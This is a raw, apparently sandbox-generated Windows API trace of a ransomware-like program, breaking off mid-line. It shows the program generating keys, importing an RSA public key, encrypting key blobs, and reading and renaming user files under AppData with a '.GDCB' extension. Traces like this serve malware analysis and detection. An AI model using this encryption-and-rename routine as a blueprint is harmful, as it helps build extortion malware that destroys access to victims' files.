hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a73f0) returned 1 [0285.339] CryptGetKeyParam (in: hKey=0x67a73f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0285.339] CryptEncrypt (in: hKey=0x67a73f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0d0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd0d0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0285.339] GetLastError () returned 0x0 [0285.339] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.339] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\domainsuggestions\\en-us.1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0285.340] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd0e0000 [0285.343] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd0f0000 [0285.346] ReadFile (in: hFile=0x458, lpBuffer=0xd0f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd0f0000*, lpNumberOfBytesRead=0x285d3e8*=0x4910, lpOverlapped=0x0) returned 1 [0285.354] VirtualAlloc (lpAddress=0x0, dwSize=0x4910, flAllocationType=0x3000, flProtect=0x4) returned 0xd200000 [0285.361] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\domainsuggestions\\en-us.1"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DomainSuggestions\\en-US.1.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\domainsuggestions\\en-us.1.gdcb")) returned 1 [0285.390] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0285.393] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.396] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.396] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0285.396] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.396] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0285.398] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.400] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.400] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0285.400] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.401] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0285.403] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a7f30) returned 1 [0285.403] CryptGetKeyParam (in: hKey=0x67a7f30, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0285.403] CryptEncrypt (in: hKey=0x67a7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0285.403] GetLastError () returned 0x0 [0285.403] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.403] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0285.405] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a80b0) returned 1 [0285.405] CryptGetKeyParam (in: hKey=0x67a80b0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0285.405] CryptEncrypt (in: hKey=0x67a80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xd0d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0285.405] GetLastError () returned 0x0 [0285.405] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.405] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\RecoveryStore.{3D88D67F-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\recoverystore.{3d88d67f-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.405] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0285.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.411] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0285.411] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.412] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0285.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.416] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.416] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0285.416] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.417] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0285.419] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a79f0) returned 1 [0285.419] CryptGetKeyParam (in: hKey=0x67a79f0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0285.419] CryptEncrypt (in: hKey=0x67a79f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xd0e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0285.419] GetLastError () returned 0x0 [0285.420] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.420] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0285.422] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a7a70) returned 1 [0285.422] CryptGetKeyParam (in: hKey=0x67a7a70, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0285.422] CryptEncrypt (in: hKey=0x67a7a70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd0f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xd0f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0285.422] GetLastError () returned 0x0 [0285.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.422] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\Recovery\\Active\\{3D88D681-6818-11E7-9BD3-C40142ECDE47}.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\user\\default\\recovery\\active\\{3d88d681-6818-11e7-9bd3-c40142ecde47}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.558] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.562] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.564] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.564] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0285.564] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.564] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0285.567] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.569] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0285.569] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.570] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.572] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a72b0) returned 1 [0285.572] CryptGetKeyParam (in: hKey=0x67a72b0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.572] CryptEncrypt (in: hKey=0x67a72b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd100000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd100000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0285.572] GetLastError () returned 0x0 [0285.572] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.572] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.574] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a72f0) returned 1 [0285.574] CryptGetKeyParam (in: hKey=0x67a72f0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.574] CryptEncrypt (in: hKey=0x67a72f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd110000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd110000*, pdwDataLen=0x285db40*=0x100) returned 1 [0285.574] GetLastError () returned 0x0 [0285.574] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.574] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Microsoft.People_1.10159.0.0_x64__8wekyb3d8bbwe\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\microsoft.people_1.10159.0.0_x64__8wekyb3d8bbwe\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.611] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0285.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.617] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0285.617] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.617] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0285.620] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.622] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0285.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.622] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0285.625] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7370) returned 1 [0285.625] CryptGetKeyParam (in: hKey=0x67a7370, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.625] CryptEncrypt (in: hKey=0x67a7370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd120000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xd120000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0285.625] GetLastError () returned 0x0 [0285.625] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.625] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0285.627] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x67a7ab0) returned 1 [0285.627] CryptGetKeyParam (in: hKey=0x67a7ab0, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0285.627] CryptEncrypt (in: hKey=0x67a7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd130000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xd130000*, pdwDataLen=0x285db40*=0x100) returned 1 [0285.627] GetLastError () returned 0x0 [0285.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0285.717] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0285.721] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.723] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.723] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0285.723] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0285.724] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0285.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.728] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.728] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0285.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.729] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0285.731] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8630) returned 1 [0285.731] CryptGetKeyParam (in: hKey=0x67a8630, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0285.731] CryptEncrypt (in: hKey=0x67a8630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd140000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd140000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0285.731] GetLastError () returned 0x0 [0285.731] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.731] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0285.733] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8730) returned 1 [0285.733] CryptGetKeyParam (in: hKey=0x67a8730, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0285.733] CryptEncrypt (in: hKey=0x67a8730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd150000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd150000*, pdwDataLen=0x285d630*=0x100) returned 1 [0285.733] GetLastError () returned 0x0 [0285.733] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.733] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3705566220\\624664733.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0285.735] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd160000 [0285.738] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd170000 [0285.741] ReadFile (in: hFile=0x454, lpBuffer=0xd170000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd170000*, lpNumberOfBytesRead=0x285d670*=0x1fc8, lpOverlapped=0x0) returned 1 [0285.782] VirtualAlloc (lpAddress=0x0, dwSize=0x1fd0, flAllocationType=0x3000, flProtect=0x4) returned 0xd280000 [0285.788] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3705566220\\624664733.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Microsoft\\Windows\\3705566220\\624664733.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\microsoft\\windows\\3705566220\\624664733.pri.gdcb")) returned 1 [0285.844] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0285.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.851] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.851] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0285.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.851] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0285.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0285.857] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0285.857] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0285.857] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.858] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0285.860] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8330) returned 1 [0285.860] CryptGetKeyParam (in: hKey=0x67a8330, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0285.860] CryptEncrypt (in: hKey=0x67a8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd140000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd140000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0285.860] GetLastError () returned 0x0 [0285.860] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0285.860] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0285.862] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8670) returned 1 [0285.863] CryptGetKeyParam (in: hKey=0x67a8670, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0285.863] CryptEncrypt (in: hKey=0x67a8670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd150000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd150000*, pdwDataLen=0x285d630*=0x100) returned 1 [0285.863] GetLastError () returned 0x0 [0285.863] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0285.863] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application 